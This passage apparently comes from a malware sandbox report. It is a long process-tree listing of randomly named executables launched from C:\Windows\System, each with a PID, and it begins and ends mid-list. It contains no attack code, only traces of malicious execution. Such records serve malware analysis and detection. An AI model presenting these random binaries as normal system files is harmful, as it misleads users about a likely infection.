- C:\Windows\System\wWAcvTD.exe
  C:\Windows\System\wWAcvTD.exe
  2⤵
  PID:4000
- C:\Windows\System\pxdabuZ.exe
  C:\Windows\System\pxdabuZ.exe
  2⤵
  PID:4020
- C:\Windows\System\aiwgslX.exe
  C:\Windows\System\aiwgslX.exe
  2⤵
  PID:4036
- C:\Windows\System\UKHPztt.exe
  C:\Windows\System\UKHPztt.exe
  2⤵
  PID:4056
- C:\Windows\System\mhzdCJU.exe
  C:\Windows\System\mhzdCJU.exe
  2⤵
  PID:608
- C:\Windows\System\PXvJHMg.exe
  C:\Windows\System\PXvJHMg.exe
  2⤵
  PID:3180
- C:\Windows\System\cqQyHgW.exe
  C:\Windows\System\cqQyHgW.exe
  2⤵
  PID:3280
- C:\Windows\System\qLPXgsT.exe
  C:\Windows\System\qLPXgsT.exe
  2⤵
  PID:3396
- C:\Windows\System\IUiTsiH.exe
  C:\Windows\System\IUiTsiH.exe
  2⤵
  PID:2452
- C:\Windows\System\IPSVlza.exe
  C:\Windows\System\IPSVlza.exe
  2⤵
  PID:3284
- C:\Windows\System\GJqNUnd.exe
  C:\Windows\System\GJqNUnd.exe
  2⤵
  PID:3608
- C:\Windows\System\TTNCSof.exe
  C:\Windows\System\TTNCSof.exe
  2⤵
  PID:3756
- C:\Windows\System\fOtUAXy.exe
  C:\Windows\System\fOtUAXy.exe
  2⤵
  PID:3712
- C:\Windows\System\zfuZZEH.exe
  C:\Windows\System\zfuZZEH.exe
  2⤵
  PID:3544
- C:\Windows\System\kBOEXZK.exe
  C:\Windows\System\kBOEXZK.exe
  2⤵
  PID:3332
- C:\Windows\System\hnmoBUU.exe
  C:\Windows\System\hnmoBUU.exe
  2⤵
  PID:3304
- C:\Windows\System\FwZDGJg.exe
  C:\Windows\System\FwZDGJg.exe
  2⤵
  PID:1048
- C:\Windows\System\ojWmZyj.exe
  C:\Windows\System\ojWmZyj.exe
  2⤵
  PID:3524
- C:\Windows\System\dbQMiqk.exe
  C:\Windows\System\dbQMiqk.exe
  2⤵
  PID:3888
- C:\Windows\System\ZijKnpW.exe
  C:\Windows\System\ZijKnpW.exe
  2⤵
  PID:3996
- C:\Windows\System\TkySefw.exe
  C:\Windows\System\TkySefw.exe
  2⤵
  PID:4080
- C:\Windows\System\NhXcgRz.exe
  C:\Windows\System\NhXcgRz.exe
  2⤵
  PID:2716
- C:\Windows\System\DJiVWaT.exe
  C:\Windows\System\DJiVWaT.exe
  2⤵
  PID:3076
- C:\Windows\System\JJDfYgg.exe
  C:\Windows\System\JJDfYgg.exe
  2⤵
  PID:3360
- C:\Windows\System\rMGtoOY.exe
  C:\Windows\System\rMGtoOY.exe
  2⤵
  PID:3436
- C:\Windows\System\QczJfTp.exe
  C:\Windows\System\QczJfTp.exe
  2⤵
  PID:3672
- C:\Windows\System\QXJBdxV.exe
  C:\Windows\System\QXJBdxV.exe
  2⤵
  PID:3676
- C:\Windows\System\pyFmjiK.exe
  C:\Windows\System\pyFmjiK.exe
  2⤵
  PID:3764
- C:\Windows\System\reLsgKN.exe
  C:\Windows\System\reLsgKN.exe
  2⤵
  PID:3336
- C:\Windows\System\EZquRSv.exe
  C:\Windows\System\EZquRSv.exe
  2⤵
  PID:3340
- C:\Windows\System\fNcAlak.exe
  C:\Windows\System\fNcAlak.exe
  2⤵
  PID:3380
- C:\Windows\System\aLIUNuM.exe
  C:\Windows\System\aLIUNuM.exe
  2⤵
  PID:3692
- C:\Windows\System\fzgSnTZ.exe
  C:\Windows\System\fzgSnTZ.exe
  2⤵
  PID:3660
- C:\Windows\System\JNgLNMk.exe
  C:\Windows\System\JNgLNMk.exe
  2⤵
  PID:3852
- C:\Windows\System\VjkggRH.exe
  C:\Windows\System\VjkggRH.exe
  2⤵
  PID:384
- C:\Windows\System\TKgNPea.exe
  C:\Windows\System\TKgNPea.exe
  2⤵
  PID:3992
- C:\Windows\System\JdqRihg.exe
  C:\Windows\System\JdqRihg.exe
  2⤵
  PID:2656
- C:\Windows\System\ajvZNSC.exe
  C:\Windows\System\ajvZNSC.exe
  2⤵
  PID:4076
- C:\Windows\System\lPaIMAW.exe
  C:\Windows\System\lPaIMAW.exe
  2⤵
  PID:2136
- C:\Windows\System\jcdHYii.exe
  C:\Windows\System\jcdHYii.exe
  2⤵
  PID:584
- C:\Windows\System\ZZUcmkt.exe
  C:\Windows\System\ZZUcmkt.exe
  2⤵
  PID:3816
- C:\Windows\System\KtoMgbj.exe
  C:\Windows\System\KtoMgbj.exe
  2⤵
  PID:3232
- C:\Windows\System\Hbqhsol.exe
  C:\Windows\System\Hbqhsol.exe
  2⤵
  PID:3656
- C:\Windows\System\tmsZaeI.exe
  C:\Windows\System\tmsZaeI.exe
  2⤵
  PID:3788
- C:\Windows\System\BYjFWhM.exe
  C:\Windows\System\BYjFWhM.exe
  2⤵
  PID:3452
- C:\Windows\System\YLrhUmQ.exe
  C:\Windows\System\YLrhUmQ.exe
  2⤵
  PID:4084
- C:\Windows\System\EIYwsZP.exe
  C:\Windows\System\EIYwsZP.exe
  2⤵
  PID:3940
- C:\Windows\System\rGZmitz.exe
  C:\Windows\System\rGZmitz.exe
  2⤵
  PID:3956
- C:\Windows\System\UmdzpmN.exe
  C:\Windows\System\UmdzpmN.exe
  2⤵
  PID:2292
- C:\Windows\System\fwEnvVo.exe
  C:\Windows\System\fwEnvVo.exe
  2⤵
  PID:3288
- C:\Windows\System\UpgCeDT.exe
  C:\Windows\System\UpgCeDT.exe
  2⤵
  PID:3128
- C:\Windows\System\hPMTOIm.exe
  C:\Windows\System\hPMTOIm.exe
  2⤵
  PID:3588
- C:\Windows\System\wTDgKVe.exe
  C:\Windows\System\wTDgKVe.exe
  2⤵
  PID:2644
- C:\Windows\System\GJedxYA.exe
  C:\Windows\System\GJedxYA.exe
  2⤵
  PID:2476
- C:\Windows\System\ZpUTeGu.exe
  C:\Windows\System\ZpUTeGu.exe
  2⤵
  PID:3364
- C:\Windows\System\EKHzJOR.exe
  C:\Windows\System\EKHzJOR.exe
  2⤵
  PID:3448
- C:\Windows\System\jKyAbyL.exe
  C:\Windows\System\jKyAbyL.exe
  2⤵
  PID:3468
- C:\Windows\System\fLztMtX.exe
  C:\Windows\System\fLztMtX.exe
  2⤵
  PID:3732
- C:\Windows\System\muWWPDA.exe
  C:\Windows\System\muWWPDA.exe
  2⤵
  PID:3896
- C:\Windows\System\LlKEFOA.exe
  C:\Windows\System\LlKEFOA.exe
  2⤵
  PID:4104
- C:\Windows\System\oFwBKBW.exe
  C:\Windows\System\oFwBKBW.exe
  2⤵
  PID:4124
- C:\Windows\System\GQjDErT.exe
  C:\Windows\System\GQjDErT.exe
  2⤵
  PID:4152
- C:\Windows\System\ZQNFgno.exe
  C:\Windows\System\ZQNFgno.exe
  2⤵
  PID:4172
- C:\Windows\System\vEFoBcg.exe
  C:\Windows\System\vEFoBcg.exe
  2⤵
  PID:4192
- C:\Windows\System\xqAFpan.exe
  C:\Windows\System\xqAFpan.exe
  2⤵
  PID:4216
- C:\Windows\System\DkCUjxn.exe
  C:\Windows\System\DkCUjxn.exe
  2⤵
  PID:4236
- C:\Windows\System\PdzeAXH.exe
  C:\Windows\System\PdzeAXH.exe
  2⤵
  PID:4252
- C:\Windows\System\lTkskRp.exe
  C:\Windows\System\lTkskRp.exe
  2⤵
  PID:4280
- C:\Windows\System\tGXqmKg.exe
  C:\Windows\System\tGXqmKg.exe
  2⤵
  PID:4300
- C:\Windows\System\cPLgZrW.exe
  C:\Windows\System\cPLgZrW.exe
  2⤵
  PID:4320
- C:\Windows\System\cpHGymX.exe
  C:\Windows\System\cpHGymX.exe
  2⤵
  PID:4336
- C:\Windows\System\TZrXjwM.exe
  C:\Windows\System\TZrXjwM.exe
  2⤵
  PID:4352
- C:\Windows\System\JUGzgdz.exe
  C:\Windows\System\JUGzgdz.exe
  2⤵
  PID:4372
- C:\Windows\System\gPWNsbO.exe
  C:\Windows\System\gPWNsbO.exe
  2⤵
  PID:4396
- C:\Windows\System\gqQCfiY.exe
  C:\Windows\System\gqQCfiY.exe
  2⤵
  PID:4412
- C:\Windows\System\mVmYLGC.exe
  C:\Windows\System\mVmYLGC.exe
  2⤵
  PID:4440
- C:\Windows\System\lIfMRqn.exe
  C:\Windows\System\lIfMRqn.exe
  2⤵
  PID:4456
- C:\Windows\System\ICovXWQ.exe
  C:\Windows\System\ICovXWQ.exe
  2⤵
  PID:4472
- C:\Windows\System\GCbyNGk.exe
  C:\Windows\System\GCbyNGk.exe
  2⤵
  PID:4492
- C:\Windows\System\FAyCIcI.exe
  C:\Windows\System\FAyCIcI.exe
  2⤵
  PID:4512
- C:\Windows\System\ujqmIeT.exe
  C:\Windows\System\ujqmIeT.exe
  2⤵
  PID:4536
- C:\Windows\System\NNGGrEX.exe
  C:\Windows\System\NNGGrEX.exe
  2⤵
  PID:4556
- C:\Windows\System\nLAyClo.exe
  C:\Windows\System\nLAyClo.exe
  2⤵
  PID:4584
- C:\Windows\System\wvLnpKP.exe
  C:\Windows\System\wvLnpKP.exe
  2⤵
  PID:4600
- C:\Windows\System\NcQQHjp.exe
  C:\Windows\System\NcQQHjp.exe
  2⤵
  PID:4616
- C:\Windows\System\kkvMhPV.exe
  C:\Windows\System\kkvMhPV.exe
  2⤵
  PID:4652
- C:\Windows\System\QvHkZJJ.exe
  C:\Windows\System\QvHkZJJ.exe
  2⤵
  PID:4668
- C:\Windows\System\xutZxTj.exe
  C:\Windows\System\xutZxTj.exe
  2⤵
  PID:4692
- C:\Windows\System\pXJLYRU.exe
  C:\Windows\System\pXJLYRU.exe
  2⤵
  PID:4708
- C:\Windows\System\UnYEFrt.exe
  C:\Windows\System\UnYEFrt.exe
  2⤵
  PID:4728
- C:\Windows\System\iczxaBq.exe
  C:\Windows\System\iczxaBq.exe
  2⤵
  PID:4744
- C:\Windows\System\inAbVgq.exe
  C:\Windows\System\inAbVgq.exe
  2⤵
  PID:4768
- C:\Windows\System\VfYFSgN.exe
  C:\Windows\System\VfYFSgN.exe
  2⤵
  PID:4784
- C:\Windows\System\KHWjUYZ.exe
  C:\Windows\System\KHWjUYZ.exe
  2⤵
  PID:4800
- C:\Windows\System\htSXidy.exe
  C:\Windows\System\htSXidy.exe
  2⤵
  PID:4840
- C:\Windows\System\ICfLVcx.exe
  C:\Windows\System\ICfLVcx.exe
  2⤵
  PID:4856
- C:\Windows\System\HWAwdye.exe
  C:\Windows\System\HWAwdye.exe
  2⤵
  PID:4880
- C:\Windows\System\btaLKUL.exe
  C:\Windows\System\btaLKUL.exe
  2⤵
  PID:4896
- C:\Windows\System\eCUUZLt.exe
  C:\Windows\System\eCUUZLt.exe
  2⤵
  PID:4916
- C:\Windows\System\WVVPDdz.exe
  C:\Windows\System\WVVPDdz.exe
  2⤵
  PID:4932
- C:\Windows\System\yMhPedw.exe
  C:\Windows\System\yMhPedw.exe
  2⤵
  PID:4952
- C:\Windows\System\TGWRXVd.exe
  C:\Windows\System\TGWRXVd.exe
  2⤵
  PID:4968
- C:\Windows\System\GXTcFJG.exe
  C:\Windows\System\GXTcFJG.exe
  2⤵
  PID:4988
- C:\Windows\System\cBtacis.exe
  C:\Windows\System\cBtacis.exe
  2⤵
  PID:5004
- C:\Windows\System\LOWwIxT.exe
  C:\Windows\System\LOWwIxT.exe
  2⤵
  PID:5020
- C:\Windows\System\oznVuSz.exe
  C:\Windows\System\oznVuSz.exe
  2⤵
  PID:5036
- C:\Windows\System\rVXOxGb.exe
  C:\Windows\System\rVXOxGb.exe
  2⤵
  PID:5056
- C:\Windows\System\GhTuBWa.exe
  C:\Windows\System\GhTuBWa.exe
  2⤵
  PID:5072
- C:\Windows\System\MKujsZH.exe
  C:\Windows\System\MKujsZH.exe
  2⤵
  PID:5088
- C:\Windows\System\izrCVag.exe
  C:\Windows\System\izrCVag.exe
  2⤵
  PID:5104
- C:\Windows\System\RoBsyWO.exe
  C:\Windows\System\RoBsyWO.exe
  2⤵
  PID:4116
- C:\Windows\System\SxzXYjP.exe
  C:\Windows\System\SxzXYjP.exe
  2⤵
  PID:4112
- C:\Windows\System\hTOfrPl.exe
  C:\Windows\System\hTOfrPl.exe
  2⤵
  PID:4160
- C:\Windows\System\sSldOkJ.exe
  C:\Windows\System\sSldOkJ.exe
  2⤵
  PID:4200
- C:\Windows\System\PVlljTM.exe
  C:\Windows\System\PVlljTM.exe
  2⤵
  PID:4188
- C:\Windows\System\vDwtfoc.exe
  C:\Windows\System\vDwtfoc.exe
  2⤵
  PID:4232
- C:\Windows\System\goUPFgW.exe
  C:\Windows\System\goUPFgW.exe
  2⤵
  PID:4268
- C:\Windows\System\fquDyOm.exe
  C:\Windows\System\fquDyOm.exe
  2⤵
  PID:4292
- C:\Windows\System\TQvunOj.exe
  C:\Windows\System\TQvunOj.exe
  2⤵
  PID:4360
- C:\Windows\System\xfmMCyl.exe
  C:\Windows\System\xfmMCyl.exe
  2⤵
  PID:4348
- C:\Windows\System\yKWipma.exe
  C:\Windows\System\yKWipma.exe
  2⤵
  PID:4388
- C:\Windows\System\FgOklUC.exe
  C:\Windows\System\FgOklUC.exe
  2⤵
  PID:4424
- C:\Windows\System\iUHOTOV.exe
  C:\Windows\System\iUHOTOV.exe
  2⤵
  PID:4436
- C:\Windows\System\CcWAQtS.exe
  C:\Windows\System\CcWAQtS.exe
  2⤵
  PID:4500
- C:\Windows\System\uNKhqcu.exe
  C:\Windows\System\uNKhqcu.exe
  2⤵
  PID:4508
- C:\Windows\System\tHFuRnP.exe
  C:\Windows\System\tHFuRnP.exe
  2⤵
  PID:4528
- C:\Windows\System\yCrShyi.exe
  C:\Windows\System\yCrShyi.exe
  2⤵
  PID:4552
- C:\Windows\System\HJiqgVp.exe
  C:\Windows\System\HJiqgVp.exe
  2⤵
  PID:3244
- C:\Windows\System\oUckcoU.exe
  C:\Windows\System\oUckcoU.exe
  2⤵
  PID:4612
- C:\Windows\System\Bncrayc.exe
  C:\Windows\System\Bncrayc.exe
  2⤵
  PID:4660
- C:\Windows\System\kIPMzqn.exe
  C:\Windows\System\kIPMzqn.exe
  2⤵
  PID:4688
- C:\Windows\System\TlNLFcn.exe
  C:\Windows\System\TlNLFcn.exe
  2⤵
  PID:2448
- C:\Windows\System\APtghtH.exe
  C:\Windows\System\APtghtH.exe
  2⤵
  PID:4864
- C:\Windows\System\QFRGMZm.exe
  C:\Windows\System\QFRGMZm.exe
  2⤵
  PID:4888
- C:\Windows\System\KKtpFUd.exe
  C:\Windows\System\KKtpFUd.exe
  2⤵
  PID:4908
- C:\Windows\System\hWHTEpf.exe
  C:\Windows\System\hWHTEpf.exe
  2⤵
  PID:4964
- C:\Windows\System\AGGSgQT.exe
  C:\Windows\System\AGGSgQT.exe
  2⤵
  PID:5116
- C:\Windows\System\TuQmaQm.exe
  C:\Windows\System\TuQmaQm.exe
  2⤵
  PID:4140
- C:\Windows\System\iCDTjPV.exe
  C:\Windows\System\iCDTjPV.exe
  2⤵
  PID:5100
- C:\Windows\System\QViZVTr.exe
  C:\Windows\System\QViZVTr.exe
  2⤵
  PID:5084
- C:\Windows\System\EurAkSE.exe
  C:\Windows\System\EurAkSE.exe
  2⤵
  PID:4468
- C:\Windows\System\nrSXaEb.exe
  C:\Windows\System\nrSXaEb.exe
  2⤵
  PID:4384
- C:\Windows\System\SxgbHGo.exe
  C:\Windows\System\SxgbHGo.exe
  2⤵
  PID:4428
- C:\Windows\System\xVMoKNo.exe
  C:\Windows\System\xVMoKNo.exe
  2⤵
  PID:4648
- C:\Windows\System\tXLDtQv.exe
  C:\Windows\System\tXLDtQv.exe
  2⤵
  PID:4228
- C:\Windows\System\OfcLvot.exe
  C:\Windows\System\OfcLvot.exe
  2⤵
  PID:5000
- C:\Windows\System\OqWMQJf.exe
  C:\Windows\System\OqWMQJf.exe
  2⤵
  PID:4164
- C:\Windows\System\ReryuGy.exe
  C:\Windows\System\ReryuGy.exe
  2⤵
  PID:4996
- C:\Windows\System\CXAwuQd.exe
  C:\Windows\System\CXAwuQd.exe
  2⤵
  PID:4148
- C:\Windows\System\UIKUzwA.exe
  C:\Windows\System\UIKUzwA.exe
  2⤵
  PID:4408
- C:\Windows\System\fEISAfr.exe
  C:\Windows\System\fEISAfr.exe
  2⤵
  PID:4716
- C:\Windows\System\GylQcUw.exe
  C:\Windows\System\GylQcUw.exe
  2⤵
  PID:4720
- C:\Windows\System\yUWNoop.exe
  C:\Windows\System\yUWNoop.exe
  2⤵
  PID:4776
- C:\Windows\System\rWhkxxf.exe
  C:\Windows\System\rWhkxxf.exe
  2⤵
  PID:4808
- C:\Windows\System\kQayJeG.exe
  C:\Windows\System\kQayJeG.exe
  2⤵
  PID:4820
- C:\Windows\System\GHeaaRO.exe
  C:\Windows\System\GHeaaRO.exe
  2⤵
  PID:4836
- C:\Windows\System\zUTwbYn.exe
  C:\Windows\System\zUTwbYn.exe
  2⤵
  PID:4904
- C:\Windows\System\TLKCHOX.exe
  C:\Windows\System\TLKCHOX.exe
  2⤵
  PID:4980
- C:\Windows\System\WeEGjFp.exe
  C:\Windows\System\WeEGjFp.exe
  2⤵
  PID:5112
- C:\Windows\System\SYaGfge.exe
  C:\Windows\System\SYaGfge.exe
  2⤵
  PID:4136
- C:\Windows\System\lCXZkUr.exe
  C:\Windows\System\lCXZkUr.exe
  2⤵
  PID:4448
- C:\Windows\System\FMQMqmm.exe
  C:\Windows\System\FMQMqmm.exe
  2⤵
  PID:4264
- C:\Windows\System\YwtwtPe.exe
  C:\Windows\System\YwtwtPe.exe
  2⤵
  PID:4592
- C:\Windows\System\seZskgJ.exe
  C:\Windows\System\seZskgJ.exe
  2⤵
  PID:4564
- C:\Windows\System\HjFZLPH.exe
  C:\Windows\System\HjFZLPH.exe
  2⤵
  PID:4380
- C:\Windows\System\GOAgCjm.exe
  C:\Windows\System\GOAgCjm.exe
  2⤵
  PID:4876
- C:\Windows\System\ZBrHKlG.exe
  C:\Windows\System\ZBrHKlG.exe
  2⤵
  PID:4912
- C:\Windows\System\WixtrRB.exe
  C:\Windows\System\WixtrRB.exe
  2⤵
  PID:1580
- C:\Windows\System\Tgruumm.exe
  C:\Windows\System\Tgruumm.exe
  2⤵
  PID:5064
- C:\Windows\System\pkTaTym.exe
  C:\Windows\System\pkTaTym.exe
  2⤵
  PID:5176
- C:\Windows\System\TgEwZSs.exe
  C:\Windows\System\TgEwZSs.exe
  2⤵
  PID:5192
- C:\Windows\System\BCUCBEx.exe
  C:\Windows\System\BCUCBEx.exe
  2⤵
  PID:5208
- C:\Windows\System\PDOCdxV.exe
  C:\Windows\System\PDOCdxV.exe
  2⤵
  PID:5228
- C:\Windows\System\CtGyuhd.exe
  C:\Windows\System\CtGyuhd.exe
  2⤵
  PID:5244
- C:\Windows\System\UhhSgma.exe
  C:\Windows\System\UhhSgma.exe
  2⤵
  PID:5260
- C:\Windows\System\wTLSdbj.exe
  C:\Windows\System\wTLSdbj.exe
  2⤵
  PID:5276
- C:\Windows\System\HmatgUa.exe
  C:\Windows\System\HmatgUa.exe
  2⤵
  PID:5292
- C:\Windows\System\dczlnZF.exe
  C:\Windows\System\dczlnZF.exe
  2⤵
  PID:5312
- C:\Windows\System\dwvaSMF.exe
  C:\Windows\System\dwvaSMF.exe
  2⤵
  PID:5328
- C:\Windows\System\bMXCZIw.exe
  C:\Windows\System\bMXCZIw.exe
  2⤵
  PID:5352
- C:\Windows\System\vovaIsm.exe
  C:\Windows\System\vovaIsm.exe
  2⤵
  PID:5372
- C:\Windows\System\DJpDPLK.exe
  C:\Windows\System\DJpDPLK.exe
  2⤵
  PID:5388
- C:\Windows\System\IpdPkik.exe
  C:\Windows\System\IpdPkik.exe
  2⤵
  PID:5408
- C:\Windows\System\dympuQQ.exe
  C:\Windows\System\dympuQQ.exe
  2⤵
  PID:5428
- C:\Windows\System\cHRffjJ.exe
  C:\Windows\System\cHRffjJ.exe
  2⤵
  PID:5444
- C:\Windows\System\aBuAAEs.exe
  C:\Windows\System\aBuAAEs.exe
  2⤵
  PID:5460
- C:\Windows\System\CTVHReN.exe
  C:\Windows\System\CTVHReN.exe
  2⤵
  PID:5480
- C:\Windows\System\qcGKYUi.exe
  C:\Windows\System\qcGKYUi.exe
  2⤵
  PID:5496
- C:\Windows\System\sGJGUwe.exe
  C:\Windows\System\sGJGUwe.exe
  2⤵
  PID:5512
- C:\Windows\System\HkuEBet.exe
  C:\Windows\System\HkuEBet.exe
  2⤵
  PID:5528
- C:\Windows\System\hiEGLhC.exe
  C:\Windows\System\hiEGLhC.exe
  2⤵
  PID:5544
- C:\Windows\System\DxsmJPR.exe
  C:\Windows\System\DxsmJPR.exe
  2⤵
  PID:5564
- C:\Windows\System\VvvePmq.exe
  C:\Windows\System\VvvePmq.exe
  2⤵
  PID:5580
- C:\Windows\System\XeLbDcg.exe
  C:\Windows\System\XeLbDcg.exe
  2⤵
  PID:5596
- C:\Windows\System\dbwacKd.exe
  C:\Windows\System\dbwacKd.exe
  2⤵
  PID:5612
- C:\Windows\System\EdFJlvJ.exe
  C:\Windows\System\EdFJlvJ.exe
  2⤵
  PID:5636
- C:\Windows\System\Tofvhae.exe
  C:\Windows\System\Tofvhae.exe
  2⤵
  PID:5652
- C:\Windows\System\yoPryXD.exe
  C:\Windows\System\yoPryXD.exe
  2⤵
  PID:5668
- C:\Windows\System\egrXMCV.exe
  C:\Windows\System\egrXMCV.exe
  2⤵
  PID:5684
- C:\Windows\System\OusNIYW.exe
  C:\Windows\System\OusNIYW.exe
  2⤵
  PID:5704
- C:\Windows\System\pdxjwyV.exe
  C:\Windows\System\pdxjwyV.exe
  2⤵
  PID:5720
- C:\Windows\System\Tpyzlbk.exe
  C:\Windows\System\Tpyzlbk.exe
  2⤵
  PID:5736
- C:\Windows\System\YevhSyC.exe
  C:\Windows\System\YevhSyC.exe
  2⤵
  PID:5752
- C:\Windows\System\QSuAmPs.exe
  C:\Windows\System\QSuAmPs.exe
  2⤵
  PID:5768
- C:\Windows\System\LDnJWTk.exe
  C:\Windows\System\LDnJWTk.exe
  2⤵
  PID:5784
- C:\Windows\System\chzWJNS.exe
  C:\Windows\System\chzWJNS.exe
  2⤵
  PID:5800
- C:\Windows\System\MpvvdKZ.exe
  C:\Windows\System\MpvvdKZ.exe
  2⤵
  PID:5816
- C:\Windows\System\qVyqNkX.exe
  C:\Windows\System\qVyqNkX.exe
  2⤵
  PID:5832
- C:\Windows\System\rQDSDJI.exe
  C:\Windows\System\rQDSDJI.exe
  2⤵
  PID:5848
- C:\Windows\System\YBmNKun.exe
  C:\Windows\System\YBmNKun.exe
  2⤵
  PID:5892
- C:\Windows\System\AaIHInm.exe
  C:\Windows\System\AaIHInm.exe
  2⤵
  PID:5908
- C:\Windows\System\USZYIWW.exe
  C:\Windows\System\USZYIWW.exe
  2⤵
  PID:5924
- C:\Windows\System\bBVzfbx.exe
  C:\Windows\System\bBVzfbx.exe
  2⤵
  PID:5940
- C:\Windows\System\fxRyQBA.exe
  C:\Windows\System\fxRyQBA.exe
  2⤵
  PID:5960
- C:\Windows\System\JlvWTcj.exe
  C:\Windows\System\JlvWTcj.exe
  2⤵
  PID:5976
- C:\Windows\System\npuDRWh.exe
  C:\Windows\System\npuDRWh.exe
  2⤵
  PID:6000
- C:\Windows\System\EnbRwuK.exe
  C:\Windows\System\EnbRwuK.exe
  2⤵
  PID:6016
- C:\Windows\System\bxoRjEw.exe
  C:\Windows\System\bxoRjEw.exe
  2⤵
  PID:6032
- C:\Windows\System\qIbfOxu.exe
  C:\Windows\System\qIbfOxu.exe
  2⤵
  PID:6052
- C:\Windows\System\zfHwsZU.exe
  C:\Windows\System\zfHwsZU.exe
  2⤵
  PID:6068
- C:\Windows\System\hcbDTFQ.exe
  C:\Windows\System\hcbDTFQ.exe
  2⤵
  PID:6088
- C:\Windows\System\hlwPhzn.exe
  C:\Windows\System\hlwPhzn.exe
  2⤵
  PID:6104
- C:\Windows\System\RIwrsrF.exe
  C:\Windows\System\RIwrsrF.exe
  2⤵
  PID:6128
- C:\Windows\System\VPTKTpt.exe
  C:\Windows\System\VPTKTpt.exe
  2⤵
  PID:4628
- C:\Windows\System\NAuYfGu.exe
  C:\Windows\System\NAuYfGu.exe
  2⤵
  PID:4488
- C:\Windows\System\nmsqYpb.exe
  C:\Windows\System\nmsqYpb.exe
  2⤵
  PID:4960
- C:\Windows\System\xvatHkm.exe
  C:\Windows\System\xvatHkm.exe
  2⤵
  PID:4872
- C:\Windows\System\rtUnJDc.exe
  C:\Windows\System\rtUnJDc.exe
  2⤵
  PID:4676
- C:\Windows\System\ltCgrOx.exe
  C:\Windows\System\ltCgrOx.exe
  2⤵
  PID:4368
- C:\Windows\System\zslWsdb.exe
  C:\Windows\System\zslWsdb.exe
  2⤵
  PID:4276
- C:\Windows\System\aIScvQs.exe
  C:\Windows\System\aIScvQs.exe
  2⤵
  PID:5128
- C:\Windows\System\rPrgUMy.exe
  C:\Windows\System\rPrgUMy.exe
  2⤵
  PID:4328
- C:\Windows\System\VIgzUiy.exe
  C:\Windows\System\VIgzUiy.exe
  2⤵
  PID:5148
- C:\Windows\System\jxtnhjk.exe
  C:\Windows\System\jxtnhjk.exe
  2⤵
  PID:5164
- C:\Windows\System\buXCaDc.exe
  C:\Windows\System\buXCaDc.exe
  2⤵
  PID:5184
- C:\Windows\System\OURJdvt.exe
  C:\Windows\System\OURJdvt.exe
  2⤵
  PID:5224
- C:\Windows\System\uJfJEgz.exe
  C:\Windows\System\uJfJEgz.exe
  2⤵
  PID:5284
- C:\Windows\System\IcNwKsr.exe
  C:\Windows\System\IcNwKsr.exe
  2⤵
  PID:5364
- C:\Windows\System\ZQEumpw.exe
  C:\Windows\System\ZQEumpw.exe
  2⤵
  PID:5400
- C:\Windows\System\yqERDBB.exe
  C:\Windows\System\yqERDBB.exe
  2⤵
  PID:5676
- C:\Windows\System\UWdSmhw.exe
  C:\Windows\System\UWdSmhw.exe
  2⤵
  PID:5504
- C:\Windows\System\eNWFzIY.exe
  C:\Windows\System\eNWFzIY.exe
  2⤵
  PID:5572
- C:\Windows\System\LbCnQHh.exe
  C:\Windows\System\LbCnQHh.exe
  2⤵
  PID:5644
- C:\Windows\System\BLJtfwI.exe
  C:\Windows\System\BLJtfwI.exe
  2⤵
  PID:5808
- C:\Windows\System\qlmXwWt.exe
  C:\Windows\System\qlmXwWt.exe
  2⤵
  PID:5776
- C:\Windows\System\FhbvVEv.exe
  C:\Windows\System\FhbvVEv.exe
  2⤵
  PID:5712
- C:\Windows\System\jAWDRpS.exe
  C:\Windows\System\jAWDRpS.exe
  2⤵
  PID:5492
- C:\Windows\System\uCTzdnq.exe
  C:\Windows\System\uCTzdnq.exe
  2⤵
  PID:5660
- C:\Windows\System\nbYjVfd.exe
  C:\Windows\System\nbYjVfd.exe
  2⤵
  PID:5872
- C:\Windows\System\MCoBBOt.exe
  C:\Windows\System\MCoBBOt.exe
  2⤵
  PID:5384
- C:\Windows\System\OAIYFYA.exe
  C:\Windows\System\OAIYFYA.exe
  2⤵
  PID:5856
- C:\Windows\System\tJNEDCO.exe
  C:\Windows\System\tJNEDCO.exe
  2⤵
  PID:5952
- C:\Windows\System\CylLMaR.exe
  C:\Windows\System\CylLMaR.exe
  2⤵
  PID:5992
- C:\Windows\System\GOaRqZD.exe
  C:\Windows\System\GOaRqZD.exe
  2⤵
  PID:6060
- C:\Windows\System\HsokAkb.exe
  C:\Windows\System\HsokAkb.exe
  2⤵
  PID:6136
- C:\Windows\System\oFXKwcV.exe
  C:\Windows\System\oFXKwcV.exe
  2⤵
  PID:5968
- C:\Windows\System\ZExeFoR.exe
  C:\Windows\System\ZExeFoR.exe
  2⤵
  PID:6012
- C:\Windows\System\ykYzuFr.exe
  C:\Windows\System\ykYzuFr.exe
  2⤵
  PID:6080
- C:\Windows\System\nZLRuRX.exe
  C:\Windows\System\nZLRuRX.exe
  2⤵
  PID:6124
- C:\Windows\System\mvcyKuN.exe
  C:\Windows\System\mvcyKuN.exe
  2⤵
  PID:4580
- C:\Windows\System\DwPyIAP.exe
  C:\Windows\System\DwPyIAP.exe
  2⤵
  PID:4944
- C:\Windows\System\vpMOJNe.exe
  C:\Windows\System\vpMOJNe.exe
  2⤵
  PID:5144
- C:\Windows\System\IUwofPl.exe
  C:\Windows\System\IUwofPl.exe
  2⤵
  PID:4576
- C:\Windows\System\cDTHeFw.exe
  C:\Windows\System\cDTHeFw.exe
  2⤵
  PID:5156
- C:\Windows\System\hyvMUsz.exe
  C:\Windows\System\hyvMUsz.exe
  2⤵
  PID:5136
- C:\Windows\System\iAqJTnC.exe
  C:\Windows\System\iAqJTnC.exe
  2⤵
  PID:5320
- C:\Windows\System\zuYTmCq.exe
  C:\Windows\System\zuYTmCq.exe
  2⤵
  PID:4984
- C:\Windows\System\mxoysgP.exe
  C:\Windows\System\mxoysgP.exe
  2⤵
  PID:5540
- C:\Windows\System\aEdeyrG.exe
  C:\Windows\System\aEdeyrG.exe
  2⤵
  PID:5716
- C:\Windows\System\slTgbuK.exe
  C:\Windows\System\slTgbuK.exe
  2⤵
  PID:5344
- C:\Windows\System\kDytvBL.exe
  C:\Windows\System\kDytvBL.exe
  2⤵
  PID:5620
- C:\Windows\System\Ghtlvhh.exe
  C:\Windows\System\Ghtlvhh.exe
  2⤵
  PID:5308
- C:\Windows\System\vfVcNWP.exe
  C:\Windows\System\vfVcNWP.exe
  2⤵
  PID:5488
- C:\Windows\System\lmCHvms.exe
  C:\Windows\System\lmCHvms.exe
  2⤵
  PID:5588
- C:\Windows\System\DdcSGXb.exe
  C:\Windows\System\DdcSGXb.exe
  2⤵
  PID:5628
- C:\Windows\System\BYjhCab.exe
  C:\Windows\System\BYjhCab.exe
